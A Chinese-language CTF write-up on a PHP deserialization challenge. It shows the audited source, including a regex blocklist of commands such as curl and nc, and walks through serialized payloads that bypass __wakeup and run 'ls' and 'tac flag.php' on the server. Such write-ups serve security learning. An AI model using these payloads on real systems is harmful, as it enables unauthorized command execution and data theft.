题目没给提示
点开链接 是空白页面
查看源代码
base64加密 拿去解码
备份文件 使用工具跑一下目录 (dirsearch)
存在一个flag.php文件 但是访问没有结果
锁定index.php.bak 文件 下载下来
打开 进行代码审计 是php序列化 反序列化的内容
代码审计(借鉴大佬的解析)
class ctf
{protected $username = 'hack';protected $cmd = 'NULL';定义username和cmd变量
----------------------------------------------public function __construct($username,$cmd){$this->username = $username;$this->cmd = $cmd;}java知识
----------------------------------------------function __wakeup(){$this->username = 'guest';}
反序列化的wakeup函数 如何绕过可见我这篇文章
此处是将username的值改为guest---------------------------------------------if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)){exit('flag能让你这么容易拿到吗?
');}一堆正则
----------------------------------------------if ($this->username === 'admin'){// echo "
right!
";$a = `$this->cmd`;var_dump($a);如果username的值为admin将cmd的值传给a变量并输出执行
----------------------------------------------$select = $_GET['code'];$res=unserialize(@$select);get获取code的值传给select并把select的值反序列化后传给res
唯一可以传的是code的值 所以用code里面包含username和cmd即可传值给他们因为类名是ctf
还要绕过wakeup 确保传入的username和cmd的值正确 在die()的时候就会调用__destruct()函数
来执行cmd命令
所以构造为
(/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";})
O 代表对象 因为我们序列化的是一个对象
3 代表类名字占三个字符
ctf 类名
3 代表三个属性,因为需要绕过__wakeup()函数,所以比实际属性个数2大
s代表字符串
11代表属性名长度
username 属性名
s:5:“admin” 字符串 属性值长度 属性值
先用ls看看 确定刚刚没打开的flag.php在不在同一目录下
确定flag.php就在当前目录
但是很多命令被过滤了 测试后 发现tac这个命令还没有被过滤 (/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";})
使用tac命令得到flag